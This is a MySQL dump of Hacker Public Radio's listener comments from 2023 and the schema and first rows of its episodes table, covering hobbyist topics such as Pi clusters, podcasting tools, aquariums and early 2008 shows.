(3717,3434,'2023-03-24 07:38:12','Mike Ray','Built a cluster in a rack','Just went back to this well remembered show, and used it to build an eight node cluster of Pi4s in a 4U rack. One controller and seven nodes. Great show. Easy to follow.\r\n\r\nThis I have done because I now need to get to grips with OpenShift for work','2023-03-24 19:01:53'),
(3718,3815,'2023-03-24 18:16:11','mirwi','Second delete key -&gt; carriage return?','Hello,\r\nloved the show! It is sometimes nice to remember where we came from, to better appreciate what we have now.\r\n\r\nJust one thought: Could the \"second delete\" key have been the carriage return key? Line feed and returning to the first character of a line are separate signals after all. Or at least they were back then.\r\n\r\nRegards,\r\nmirwi','2023-03-24 19:01:53'),
(3719,3814,'2023-03-26 10:49:12','Ken Fallon','What license','What license is that video under ? I\'d like to have it on the website.','2023-03-26 18:36:44'),
(3720,3815,'2023-03-27 03:07:54','Deltaray','Documentation on keyboard layout','I found this module in PDF that has a description of several of the keys on Univac terminals of the time.\r\n\r\nhttps://www.fourmilab.ch/documents/univac/manuals/pdf/Uniscope/UP-7778r2_Uniscope_Display_Terminal_Operators_Manual_1974.pdf','2023-03-27 18:40:35'),
(3721,3821,'2023-03-27 15:07:12','Trey','Mastodon?','These news shorts are great.  Keep them up.\r\nYou mentioned that you are on Mastodon.  What username should we use to connect with you there?','2023-03-27 18:40:35'),
(3722,3814,'2023-03-27 16:54:34','Some Guy On The Internet','Video License.','The video is CC-BY-SA 4.0.  I\'ve also included a shorter video in the description.  They\'re both CC-BY-SA 4.0.  I\'ll update both video descriptions with the license.','2023-03-27 18:40:36'),
(3723,3751,'2023-03-28 17:57:37','Reto','Noisetorch, the second choice','I was wondering why people who do podcasting buy sensitive condenser microphones. To understand it is recommended to watch 5 seconds of this video.\r\nThe microphone in action, when you spin it away from your mouth https://youtu.be/qjCJbhjFYiA?t=157\r\n\r\nI used a dynamic microphone for TEAMS calls. TEAMS I guess, has some noise cancelling in the software as well. While I could hardly understand the person speaking to me, because of the lawn mower outside my window, the mower was not heard by the other person.\r\n\r\n\r\nWhats the difference between dynamic and condenser microphones: https://musicianshq.com/whats-the-difference-between-dynamic-and-condenser-microphones/','2023-03-28 19:53:54'),
(3724,3821,'2023-03-28 22:45:52','Some Guy On The Internet','My Mastodon handle.','@Yung_Lyun@mastodon.social','2023-03-30 08:47:38'),
(3725,3841,'2023-03-31 12:08:11','Ken Fallon','Move Play button','The play button has now been moved to the top of the episode as requested','2023-03-31 20:58:57'),
(3726,3825,'2023-03-31 20:57:32','Dave Morriss','Great and fascinating show','Hi minnix,\r\n\r\nI found your show very interesting and great to listen to.\r\n\r\nI have a degree in Zoology, so am acquainted with some of the stuff you were talking about, but have never kept fish myself, so a lot was new to me. I\'m not sure I have the resources to start now, but the idea of building a complete ecosystem is very attractive!\r\n\r\nI hope you\'ll do more shows on this subject!\r\n\r\nThanks,\r\nDave','2023-03-31 20:58:57'),
(3727,3825,'2023-03-31 21:48:12','minnix','Thanks Dave','Hi Dave, appreciate the feedback. I just finished editing a video of me creating a natural aquarium. I will post a link to it here in the comments once I publish it. I mainly wanted to explain how this hobby is accessible to everyone and that the closer you get to how a natural system actually works, the healthier your aquarium will be as well as lowering maintenance. Cheers','2023-03-31 21:50:06'),
(3728,3822,'2023-03-31 22:47:45','Windigo','Wrist device','I\'ve worked with some GPS tracking hardware, and they\'re usually much bulkier and require much larger batteries than a 2050 cell. If I had to guess, I would say your wrist device had one purpose: to make sure your wrist was inside it.\r\n\r\nYour phone app probably took care of any and all tracking required. That wrist device simply detected when you cut through that copper band, breaking the circuit, and alerted your phone via bluetooth. Your phone has all of the requisite tracking hardware, but it\'s not physically connected to you. Leave it behind, and you\'d be out of quarantine!\r\n\r\n...But not if they had a device attached to your body, which could detect if it\'s band had been disconnected.','2023-03-31 22:50:18'),
(3729,3823,'2023-04-01 11:32:11','rho`n','Congfiguring HPR site generator','Great show norrist! It did make me revisit the site.cfg file for the generator. I thought I had a section to configure where the templates folder and output folder is, and there is.\r\n\r\nIf you look for:\r\n```\r\n# Configure the location of the templates and the generated HTML\r\n[app_paths]\r\ntemplates_path: ./templates\r\noutput_path: ./public_html\r\n```\r\nWould save you the copy step in your CI steps :)','2023-04-01 18:49:34'),
(3730,3825,'2023-04-01 14:54:26','minnix','video demonstration','Here is a video from my peertube instance that goes into more detail about creating one of these tanks.\r\n\r\nhttps://nightshift.minnix.dev/w/wpz7LehrYLcK4856Lkg6Sq\r\n\r\n- minnix','2023-04-01 18:49:34'),
(3731,3819,'2023-04-03 00:37:55','Zen_floater2','LOOK EVERYBODY!!!','It\'s that Jon Kulp again!\r\nI thought for sure they banished him from the internet for playing a musical instrument.\r\nHe\'s apparently out now!!!','2023-04-03 19:35:13'),
(3732,3825,'2023-04-03 13:07:39','Ahuka','Brings back memories','Thanks for bringing back a lot of memories. I used to keep a bunch of aquariums (all fresh water) back in 1970s, but gave it up shortly after starting in grad school because I just didn\'t have the time. I know you might not think aquariums need so much time, but it is more about how grad school hit me.','2023-04-03 19:35:13'),
(3733,3826,'2023-04-04 11:43:43','Kevin O\'Brien','Updating your profile','I have wanted to update my profile, but I haven\'t discovered how to do it. I cold then add my Mastodon account.','2023-04-04 20:37:17'),
(3734,3825,'2023-04-06 22:17:34','minnix','Hi Ahuka','No trust me I know that aquariums can be very time consuming. Especially the more you have. Things go wrong, they\'re never perfect, that\'s just life. Glad you enjoyed it.','2023-04-07 21:15:46'),
(3735,3831,'2023-04-10 13:38:50','Trey','Great interview','Bumble Bee, Thank you for sharing.  I look forward to hearing more from you in the future.\r\n\r\nSGotI,  What a great interview.  I love this format of open discussion with a guest to get to know them and their perspective on the topics.  Keep up the awesome work!','2023-04-10 21:25:49'),
(3736,3832,'2023-04-14 17:56:24','brian-in-ohio','thank you','Great show minnix. Keep them coming. You might try newpipe to watch youtube anonymously on android.','2023-04-14 18:04:12'),
(3737,3831,'2023-04-14 18:06:23','brian-in-ohio','liked it','I liked the interview. Hope to hear more of your conversations. Its a shame that the cricut is so locked down, but  there are great tools like inkscape to make svg files. Check out pclinuxos magagazine lots of good gimp and inkscape tutorials. Looking forward to when you become a slackware user ;-)','2023-04-14 20:45:36'),
(3738,3828,'2023-04-14 18:12:39','brian-in-ohio','entertaining','New thats entertaining, I like it!','2023-04-14 20:45:37'),
(3739,3831,'2023-04-16 21:17:18','Dave Morriss','Excellent show','I\'m a bit late listening to it but this was a most entertaining and interesting show.\r\n\r\nI\'ve always enjoyed shows with several people interacting, and this was a good example of how to do it! Some great discussion as well as some insights into the Cricut. I\'d heard of these devices and have a daughter who\'d love to have one.\r\n\r\nMore of these types of shows please.','2023-04-16 21:18:18'),
(3740,3822,'2023-04-17 15:54:25','Bookewyrmm','small update','A coworker found this link to an article explaining the functionality of the watch.\r\n\r\nhttps://qz.com/1822215/hong-kong-uses-tracking-wristbands-for-coronavirus-quarantine','2023-04-17 17:19:06'),
(3741,3837,'2023-04-27 15:10:19','brian-in-ohio','intro','The nice thing about an emergency show was hearing the original hpr intro music. I like it so much better than the new intro music. It seems like alot of the people most against the old (better) intro music don\'t produce shows. Go figure...','2023-04-27 20:15:03'),
(3742,3844,'2023-04-27 19:07:17','brian-in-ohio','interesting show','Edgy,.Did I miss it or did the pro podcaster ever mention the show(s) he does?','2023-04-27 20:15:03'),
(3743,3843,'2023-04-27 19:08:33','brian-in-ohio','thanks','Thanks, reminds me why I don\'t listen to mintcast or tllts','2023-04-27 20:15:03'),
(3744,3816,'2023-04-29 14:22:12','Reto','The podcast','Hi Mechatroniac,\r\n\r\nHaving accus on hand with different voltage sounds good.\r\n\r\nAlmost like Ken, I don`t think soldering destroys the accu as long as you have a large soldering iron, why not building a DIY Spot Welding Machine?\r\nI watched some videos in the past like:\r\n\r\nWith parts of an old Microwave: https://youtu.be/vStYS6eoscU?t=184\r\n\r\nor a bit more risky, just a battery. Risky as it has no on/off switch. https://www.youtube.com/watch?v=yYivIldvS6o\r\n\r\nCheers\r\nReto','2023-04-29 19:36:45'),
(3745,3848,'2023-05-01 17:37:13','Some Guy On the Internet','Live streamed the process.','I\'ve also streamed a Thunderbird client config and the vim filter editing on youtube (CC-BY-SA). The vim editing start around 1:11:35 in the video.\r\n\r\nhttps://www.youtube.com/live/AvgNtZ7Bfcc?feature=share','2023-05-01 19:43:58'),
(3746,3855,'2023-05-02 12:07:35','ClaudioM','$ man ssh','To add, these sequences are also available in the man page for the ssh command. Search for the title \"ESCAPE CHARACTERS\" in the man page.','2023-05-02 19:27:13'),
(3747,3849,'2023-05-05 17:25:41','Kevin O\'Brien','Good advice','Thanks for some good advice. I have several misbehaving computers I need to fix, and your remindeer is thus very timely.','2023-05-05 18:40:58'),
(3748,3850,'2023-05-06 02:57:48','Stache_AF','Space Museum','I\'m surprised you didn\'t stop by the Space History museum and tour of the Gene Roddenberry exhibit. It\'s strange hearing someone talking about things to do nearby and thinking \"was I there when they were?\"','2023-05-06 22:21:58'),
(3749,3850,'2023-05-07 15:46:38','Kevin O\'Brien','Didn\'t know about it.','I never heard of any Space Museum. Where is it? When I get to the my 2022-2023 trip you will find that I hit a number of space-related sites.','2023-05-07 19:41:52'),
(3750,3275,'2023-05-11 08:56:20','Ken Fallon','I need to put this on some Perfboard','Thanks Dave for having the schematic on Archive.org for me to find based on the bash file name.','2023-05-11 16:15:42'),
(3751,3866,'2023-05-12 10:30:13','Archer72','Show Ideas','First of all, welcome here, it was a good introductory show. \r\n\r\nYou mentioned four topics that would be interesting to a lot of listeners\r\n\r\nWeb development/Coding\r\nMathematics\r\nMusic Theory\r\nElectronics pertaining to computer repair\r\n\r\nOn Music theory, I would also like to hear more.  As a child of 12 years, I did play the piano, but did not go far with it.  With that I can still play a few notes.\r\n\r\nWith electronics, less of my experience is in computer repair.  More of this is repairing electronics in a factory setting, although knowledge here is not what it could be.\r\n\r\nMaybe not you but another host might like to do one on Arduino.  Again, limited experience here, but this would be an interesting avenue to explore.\r\n\r\nArcher72','2023-05-12 18:08:00'),
(3752,3538,'2023-05-15 09:14:26','Archer72','My memory','These shows are my memory, not only my shows, but a multitude of other show.   I recently had to reference this one.  I had hoped that Tenacity would be in the Fedora 38 repos, but no.  Still, Tenacity is alive and well and currently has implemented a dark theme, which Audacity has not.   Also newly integrated are the clip handles, to move around audio clips instead of using a separate tool.','2023-05-15 21:20:27'),
(3753,3851,'2023-05-16 21:04:15','Joe','Plugins I Never Heard Of','Great episode. All of the mentioned extensions I have not heard of and looked forward to testing them out. Appreciate you sharing some of the extensions you are using or have found.','2023-05-16 21:28:08'),
(3754,3849,'2023-05-16 21:25:24','Joe','Troubleshooting is an Art','I do agree with your last statement that hast makes waste which leads to jumping to conclusions and not getting the results you expected leading to frustration.\r\n\r\nYou usually have to follow your gut as they say. First impressions, previous experiences related to the given topic, and the right state of mind can lead you to the correct answers quickly. There are particular steps you mentioned you have to walk through in your mind and testing your assumptions to see if you are on the right track. The old adage, that failure is the best teacher to learn from and improve your skills whatever they may be.\r\n\r\nGreat episode get people to implement Critical Thinking skills and enjoy the experience.','2023-05-16 21:28:08'),
(3755,3858,'2023-05-18 19:21:19','Kevin O\'Brien','Great series','I do love the Oh, No! news. Please keep it up.','2023-05-18 20:20:54'),
(3756,3865,'2023-05-27 12:56:16','hammerron','Why Did The Internet Get So Boring','Klaatu,\r\n\r\nI found this podcast to be very relatable to me. I miss the vast quantities of those independent websites such as Geocities that you mentioned. I almost forgot how poor coded they were.  I&rsquo;d sometimes see text overwritten with graphics on top or other text.  It&rsquo;s hard for me to complain on that issue, as my own personal website might not be written much better, but it&rsquo;s mine and I&rsquo;m learning as I go along.\r\n\r\nThose small sites though, far less common than days gone by had a vibe that is far from the mostly corporate based sites today. It was nice when you&rsquo;d see a description of what people were doing from their point of view.  A recipe from a grandmother, a hike along a favorite trail, a little known but much loved music group, games, stories, poems.  Many graced with gifs such as dancing flames on a torch, dancing animals, or fantasy castles and dragons perhaps copied from elsewhere. Many had background music from midi files with their electronic tones.\r\n\r\nAs you stated about &lsquo;modern&rsquo; sites tending to talk and not listening a lot.  I totally agree.  A problem that I encounter is when doing a web search looking for information the sites often are not a good match with my search terms any more.  Few of the sites offer quality information, most instead being geared for sales (hear them talk).  It&rsquo;s like entering a library to find that it is not a library, but a department store.\r\n\r\nSomething I&rsquo;ve recently noticed is that if I look for a particular website (let&rsquo;s say comparing Linux Distros), I can go to several websites and a few of the sites will have identical descriptions &ndash; word for word.  It&rsquo;s a shame to visit site after site to find information not similar, but identical.\r\n\r\nWell, thank you for the podcast, Klaatu.  And thanks to HPR\r\n\r\nhammerron','2023-05-27 20:36:30'),
(3761,3878,'2023-06-15 08:39:36','foky','one command to get them all','Very interesting. I will save this in the folder of HPR-shows I will listen to again.\r\nBut in everyday use there is one command that\'s giving me all informations I want - inxi.','2023-06-21 09:11:04'),
(3762,3879,'2023-06-22 16:48:25','Kevin O\'Brien','Dr. Campbell','I have also started tuning out Dr. John Campbell for many of the reasons you mentioned, but Excess Deaths is indeed a legitmate issue becasue for various reasons you cannot rely on death certificates and such as a measure of the cause of death.','2023-06-22 17:16:05'),
(3763,3880,'2023-06-22 16:50:44','Kevin O\'Brien','Addendum','A bit after the installation I noticed that the A/C would turn on, but no cold came out. So I called a professional. He verified that I had installed the thermostat correctly. But I forgot to turn the breaker back on for the Condensor unit.','2023-06-22 17:16:05'),
(3764,3884,'2023-06-24 16:40:16','Kevin O\'Brien','PIN Story','Loved the discussion of passwords/PINs.  I have a story about that. My first degree is in History, so when I set up a particular PIN, I took a date from an historical event because no one would guess that. About a year later I had the \"forehe&auml;d slap\"moment when I realized that the 4 digits also matched my wife\'s birthday.','2023-06-24 22:11:42'),
(3765,3876,'2023-07-01 20:05:38','Reto','Good information about recording','Hi Ryuno-Ki,\r\n\r\nAs already mentioned in the HPR Community News for June 2023, my suggestion to listen to:\r\n\r\nSome tips and tricks, for a new host http://hackerpublicradio.org/eps/hpr3673/\r\n\r\nSoftware:\r\nEpisode 3496: How I record HPR Episodes http://hackerpublicradio.org/eps/hpr3496\r\n\r\nEpisode 3698 :: Spectrogram Audacity  http://hackerpublicradio.org/eps/hpr3698\r\n\r\n\r\nFor me, I want to keep it simple for now,  3673 &amp; 3496 are my way to go.\r\n\r\nCheers\r\nReto','2023-07-02 18:57:06'),
(3766,3891,'2023-07-03 16:04:59','norrist','solocast updates','@reto, thanks for mentioning solocast.   I have made a few updates since hpr3496.  The biggest changes are\r\n\r\n- You can now install solocast from the Python Packing Index - https://pypi.org/project/solocast/\r\n- solocast now works with Markdown scripts as requested by Ken - https://gitlab.com/norrist/solocast/-/issues/1','2023-07-03 16:14:02'),
(3767,3891,'2023-07-04 17:51:29','Kevin O\'Brien','My truck','The short answer is that we bought the truck and the RV as a package from a close friend, but we are very glad to have a truck that we don\'t need to worry about when towing.','2023-07-08 15:27:36'),
(3768,3892,'2023-07-05 02:37:03','Klaatu','I love this topic','This is such a great idea for a show. My .emacs file is an unholy mess of config options stolen from colleagues over the years...maybe recording an episode of my own about my configuration would help me clean it up.','2023-07-08 15:27:36'),
(3769,3889,'2023-07-08 14:40:16','Reto','KDirStat is dead, long live QDirStat!','Hi Ken, \r\n\r\nCould it be that you mixed up kdiff3 https://apps.kde.org/kdiff3/ with KDirStat, while we were talking in the \"Community News for June\" show?\r\n\r\n_____\r\nQDirStat is based on that same code from the original KDE 3 KDirStat of 2006. It\'s an 80% rewrite using a lot of newer Qt technologies. And there was a lot of cleaning up that old code base that had been long overdue. \r\n\r\n_____\r\nIf so, QDirStat is also interesting, it comes with nice features like \r\nPackage manager support:\r\n- Show what software package a system file belongs to.\r\n- Packages view showing disk usage of installed software packages and their individual files.\r\n- Unpackaged files view showing what files in system directories do not belong to any installed software package.\r\n\r\nAnd is just an apt install away :-)\r\n\r\nHowever, you helped me anyway!\r\nBecause, while in KDE Dolphin\'s kdiff3 integration can only compare two files in the same folder, I can use it in the terminal with paths to the files like:\r\n\r\nkdiff3 /home/reto/abc.txt   /media/usb/abc.txt\r\n\r\nBr,\r\nReto','2023-07-08 15:27:36'),
(3770,3894,'2023-07-08 16:02:14','Kevin O\'Brien','I loved the show','I\'m looking forward to more from this series. I would humbly suggest that aiming for a one hour show may be a bit much, I think a half-hour would be better, but maybe that is just me.','2023-07-08 16:13:41'),
(3771,3892,'2023-07-11 01:59:18','dnt','Do it!','Yes! It turns out that, by completing the sentence \"Let\'s go through every single package installed in a...\", you can get a bunch of shows! Looking forward to your review of your .emacs','2023-07-12 10:34:24'),
(3772,3889,'2023-07-12 06:08:21','Ken Fallon','QDirstat is nice but I meant kdiff3','Nice tip on QDirstat\r\n\r\n\r\nBut I meant kdiff3 /path/to/old /path/to/new\r\n\r\nPerhaps I need to do a show about this...\r\n\r\n.... hold on - I see what you did there.','2023-07-12 10:34:24'),
(3773,3900,'2023-07-14 13:51:22','Hipstre','Limiter/GPodder','Thanks for this episode. I had never thought to speed up podcasts before. I have the opposite problem when listening. I am always missing things, or wanting to pause to take a note. I will try speeding up some of my podcasts using Change Tempo. I think it will make me more focused on listening.\r\n\r\nI use an RSS reader to deal with my podcasts, I had considered Gpodder in the past. I think I will give it a try again after your description of the workflow.\r\n\r\nI also use Audacity to mod podcasts. I am doing it for slightly different reasons. I like to cut out commercials, and segments I don\'t like. I am not sure if Limiter is a standard Audacity effect or a Ladspa or Nyquist plugin, but it is a great substitute for Amplify/Normalize. When set to \"Soft Limiter\" it acts like a fast riding volume control. It increases the \"power\" massively without clipping like Amplify does.\r\n\r\nA typical starting point for settings for Limiter would be something like:\r\n\r\nType: Soft Limit\r\nInput Gain (mono/Left): 3.00dB\r\nLimit to: -0.1\r\nHold (ms): 1.0\r\n\r\nI separate my automated steps, and do Limiting manually for good results (I like to get MAXIMUM VOLUME because I listen to a lot of podcasts in the car with the windows open). But even while using in a Macro, I think you could find generic settings that are preferable to Amplify/Normalize.','2023-07-14 19:21:57'),
(3774,3883,'2023-07-15 18:53:39','dnt','Clap!','This was fun and new to me. I reproduced this experiment twice. A very opportune time for this show to reach the main feed, only a few days after a famous implosion of a different kind (if you are reading this is the distant future, see \"OceanGate\"). Thanks for this!','2023-07-15 19:53:28'),
(3775,3900,'2023-07-16 15:58:48','Eugene','No need for podcast preprocessing','Hi Ahuka,\r\n\r\nI listen to podcasts on a Sansa Clip+ synced from gPodder too! It\'s an excellent little player.\r\n\r\nSpeaking of the preprocessing, there is no need to do that if you install the open source Rockbox firmware on the player, https://www.rockbox.org/wiki/SansaClip. It works great and has a lot of features! There is a control to increase/decrease pitch and speed while playing; you need to enable the Timestretch option to change them separately (https://download.rockbox.org/daily/manual/rockbox-sansaclipplus/rockbox-buildch4.html#x7-640004.3.3). It took me years before I figured out it was possible to separate the two.\r\n\r\nAlso great for podcasts are: auto resume from the previously paused place, and the ability to make the left/right buttons skip N seconds instead of to the prev/next track.\r\n\r\nHave a good day!','2023-07-16 16:32:47'),
(3776,3900,'2023-07-17 12:04:50','Kevin O\'Brien','Sansa Clip+','I used a Sansa Clip+ with Rockbox for a long time, but now the Sansa Clip+ is unavailable. The way I do it now, I can use any MP3 player.','2023-07-17 15:57:57'),
(3777,3901,'2023-07-18 16:51:36','Reto','aCalendar on Android','Hi operat0r,\r\n\r\nI am in the same boat about forgetting appointments.\r\n\r\naCalendar is what I use for years and I like to say, it is the best calendar.\r\nI mention to you just one function: To copy an entry is as simple as it gets and so I you keep your history, instead of moving an entry. It also offers to create several entries, instead of a series. \r\nhttp://play.google.com/store/apps/details?id=org.withouthat.acalendar\r\n\r\nThe website for more information: http://acalendar.tapirapps.de\r\n\r\n\r\nNot synced with Google, I created a calendar that is as private as it gets. So I have to make backups. Backup your calendar with: iCal Import/Export CalDAV \r\nhttp://play.google.com/store/apps/details?id=tk.drlue.icalimportexport.premium\r\n\r\nThe Website: http://ical.drlue.at/\r\n\r\nTo support the developer I had to get the Pro Version, now it runs automated backups. Very useful app for me.\r\n\r\nMy two cents to your show.\r\n\r\nBr,\r\nReto','2023-07-18 17:01:42'),
(3778,3909,'2023-07-29 20:13:11','dnt','Great show, keep em coming!','Thanks for this! Well done, and plenty for the listener to think about! Looking forward to more.','2023-07-29 21:20:16'),
(3785,3904,'2023-08-02 10:34:28','Beeza','Frienships','Hi Klaatu. Great show and very thought provoking. \r\n\r\nYou missed one type of friendship that applies to me and, I dare say, many others.\r\n\r\nI grew up and went to school in London and became one of a group of 7 \"mates\". We never used the term \"friends\" in case we were deemed \"soft\" - crazy I know. Over the years we have all moved away from each other, in one case to the other side of the world, so we often only meet one another once or twice a year, sometimes not even that, and don\'t even converse by phone or messaging much in between. Despite that we all know that we can totally rely on one another should the need arise, and when we do meet the intervening months or years simply have no relevance.\r\n\r\nApart from my immediate family, of course, these people are closer to me than anybody else but the need to be in constant contact just doesn\'t exist. It\'s the polar opposite of people who are constantly on Facebook communicating with \"friends\" they\'ve never met, and really know nothing about with any certainty.','2023-08-02 10:43:24'),
(3780,3910,'2023-07-29 20:15:03','dnt','Game mechanics','This was interesting, I like your discussion of the game mechanics. This is why these games are so engrossing, when you get into them!','2023-07-29 21:20:16'),
(3781,3904,'2023-07-29 20:16:37','dnt','Friends','Thanks for this! I listened to it on the way home from work and continued to think about it well into the evening.','2023-07-29 21:20:17'),
(3782,3902,'2023-07-29 20:18:55','dnt','ffmpeg','I\'m looking forward to more of this. I haven\'t used ffmpeg much anymore, but it was essential to me in my videographer and video editor days. It\'s one of those applications that it\'s hard to imagine being without it, and amazing that we have it. Thanks!','2023-07-29 21:20:17'),
(3783,3903,'2023-07-29 20:20:23','dnt','systemd','I think this was an excellent perspective on systemd. Something that\'s good for servers and for the overall enterprise linux world is not necessarily good for my laptop and it turns out that\'s ok. Great stuff!','2023-07-29 21:20:17'),
(3784,3896,'2023-07-29 20:23:31','dnt','Ruins','Thanks for sharing this! I did not know about it. I have long hoped to visit Skara Brae someday, so here\'s another potential stop for me. I would enjoy hearing more of this.','2023-07-29 21:20:17');
/*!40000 ALTER TABLE `comments` ENABLE KEYS */;
UNLOCK TABLES;
/*!50003 SET @saved_cs_client      = @@character_set_client */ ;
/*!50003 SET @saved_cs_results     = @@character_set_results */ ;
/*!50003 SET @saved_col_connection = @@collation_connection */ ;
/*!50003 SET character_set_client  = utf8mb4 */ ;
/*!50003 SET character_set_results = utf8mb4 */ ;
/*!50003 SET collation_connection  = utf8mb4_unicode_ci */ ;
/*!50003 SET @saved_sql_mode       = @@sql_mode */ ;
/*!50003 SET sql_mode              = 'NO_ENGINE_SUBSTITUTION' */ ;
DELIMITER ;;
/*!50003 CREATE*/ /*!50017 DEFINER=`hpr`@`localhost`*/ /*!50003 TRIGGER `before_comments_update` BEFORE UPDATE ON `comments` FOR EACH ROW SET NEW.last_changed = CURRENT_TIMESTAMP */;;
DELIMITER ;
/*!50003 SET sql_mode              = @saved_sql_mode */ ;
/*!50003 SET character_set_client  = @saved_cs_client */ ;
/*!50003 SET character_set_results = @saved_cs_results */ ;
/*!50003 SET collation_connection  = @saved_col_connection */ ;

--
-- Table structure for table `eps`
--

DROP TABLE IF EXISTS `eps`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `eps` (
  `id` int(5) NOT NULL,
  `date` date NOT NULL,
  `title` varchar(100) NOT NULL,
  `duration` int(5) NOT NULL,
  `summary` varchar(100) NOT NULL,
  `notes` text NOT NULL,
  `hostid` int(10) NOT NULL,
  `series` int(10) NOT NULL,
  `explicit` tinyint(1) NOT NULL DEFAULT 1,
  `license` varchar(11) NOT NULL DEFAULT 'CC-BY-SA',
  `tags` varchar(200) NOT NULL,
  `version` int(5) NOT NULL DEFAULT 0,
  `downloads` int(11) NOT NULL,
  `valid` int(1) NOT NULL DEFAULT 1,
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1275 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `eps`
--

LOCK TABLES `eps` WRITE;
/*!40000 ALTER TABLE `eps` DISABLE KEYS */;
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (1,'2007-12-31','Introduction to HPR',1373,'In this first ever show on Hacker Public Radio, StankDawg and Enigma introduce HPR.','<p>\r\nIn this first ever show on Hacker Public Radio, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=55\">StankDawg</a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\">Enigma</a> introduce HPR.\r\n</p>\r\n<p>\r\nThe story of Hacker Public Radio begins where <a href=\"https://www.oldskoolphreak.com/radio.html\">Radio FreeK America</a> leaves off. StankDawg was a busy with <a href=\"https://www.binrev.com/forums/index.php/files/category/3-binary-revolution-radio/\">Binary Revolution Radio</a> and so the idea lay dormant for some time. Then <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\">droops</a>, another podcaster (<a href=\"https://audio.textfiles.com/shows/infonomicon/\">Infonomicon</a>) who was inspired by RFA got together with <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=3\">dosman</a> to start <a href=\"https://www.twatech.org/\">TWaTech</a> Today with a Techie, a pun on <a href=\"https://twit.tv/\">Twit</a>. About a year in <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\">Enigma</a> took over operations from portrello.\r\n</p>\r\n<p>\r\nContinuing on from Today with a Techie, HPR will air anything that is <em>Of interest to hackers</em>. Think, hacking, phone preaking, politics, survival, caffeine, linux, movie reviews, game reviews, etc. There is no restriction on the length but the shows will have the intro and outro added, which was kindly donated by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=42\">slick0</a>. Additionally there is the option to have miniseries where the hosts can have running topics to cover an issue in more detail. A mini series can also be open to so that multiple people can contribute to one topic.\r\n</p>\r\n<p>\r\nAbove all HPR is a Community Network.\r\n</p>\r\n',55,0,1,'CC-BY-NC-SA','hpr, twat, community',0,4737,1),
(9,'2008-01-10','This old Hack 4',2547,'Fixing a leak in a pressure based water well and making a Didgeridoo.','<p>\r\nContinuing the TWaT series, we go outside and get some background to water wells with pressure tanks and pressure switches. Also making a Didgeridoo<br />\r\n<a href=\"https://www.wikihow.com/Make-a-Didgeridoo-out-of-PVC-Pipe\">https://www.wikihow.com/Make-a-Didgeridoo-out-of-PVC-Pipe</a>\r\n</p>\r\n',75,5,1,'CC-BY-NC-SA','water well, pressure tank, pressure switch, Didgeridoo, hardware',0,3535,1),
(2,'2008-01-01','Customization the Lost Reason',1534,'deepgeek talks about Customization being the lost reason in switching from windows to linux','<p>Today deepgeek talks about Customization being the lost reason in switching from windows to Linux. He points out that the PC stands for <em>Personal</em> Computer. To many on windows this means they can change the desktop wallpaper. </p>\r\n<p>He believes that by explaining the ability to Customise the working environment is the power of Linux. You can customise the services running, whether you wish to use a <a href=\"https://en.wikipedia.org/wiki/Command-line_interface\">command line interface</a>, a basic <a href=\"https://en.wikipedia.org/wiki/Window_manager\">Window Manager</a>, or a Lightweight or Full Featured <a href=\"https://en.wikipedia.org/wiki/Desktop_environment\">Desktop Environment</a></p>\r\n<p>Finally he ends with a tribute to <a href=\"https://en.wikipedia.org/wiki/Seymour_Cray\">Seymour Cray</a></p>\r\n',73,0,1,'CC-BY-NC-SA','Linux, Desktop Environment, Window Manager, Seymour Cray',0,1551,1),
(3,'2008-01-02','Lost Haycon Audio',2850,'Morgellon and others traipse around in the woods geocaching at midnight','<p>\r\nIt\'s 12:10AM on the 10th of November 2007 and Morgellon, droops and phyboy are at Haycon, one of the first <a href=\"https://en.wikipedia.org/wiki/Unconference\">Unconference<a>s. The conversations turns to <a href=\"https://en.wikipedia.org/wiki/Geocaching\">Geocaching</a>, and so armed with laptop, flash light (and possibly beer) our intrepid explorers head off to do a night time run. Here the way is marked by reflectors that are difficult to see in day time.</p>\r\n<p>\r\nAlong the way we hear crickets, tales of wolves, forgotten roads, civil war destruction, abandoned cemeteries and how karma came to one real estate developer.\r\n</p>',25,0,1,'CC-BY-NC-SA','haycon, Unconference, Geocaching ',0,1410,1),
(4,'2008-01-03','Firefox Profiles',415,'Peter explains how to move firefox profiles from machine to machine ','<p>\r\nPeter explains how to move firefox profiles from machine to machine even between OSX, Windows and Linux. The biggest issue is actually locating the profile and this is covered in the following article.<br />\r\n<a href=\"https://kb.mozillazine.org/Profile_folder_-_Firefox\">https://kb.mozillazine.org/Profile_folder_-_Firefox</a>\r\n</p>',74,0,0,'CC-BY-NC-SA','firefox, profiles, osx, windows, linux',0,1524,1),
(5,'2008-01-06','Database 101 Part 1',1064,'1st part of the Database 101 series with Stankdawg','<p>\r\n1st part of the Database 101 series with Stankdawg. He defines data as <em>a collection of facts from which conclusions may be drawn</em> while information is <em>the application of data</em>. While a database is a collection of data, regardless of whether it is a text file, spreadsheet etc.\r\n</p>\r\n<p>\r\nThe larger the amount of data the slower text, and spreadsheets get. This is where a database management system comes in. A common database type is a Relational Database like Oracle, Microsoft SQL, PostgreSQL or MYSQL<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Relational_database\">https://en.wikipedia.org/wiki/Relational_database</a>\r\n</p>\r\n',55,4,0,'CC-BY-NC-SA','introduction, Relational Database',0,2144,1),
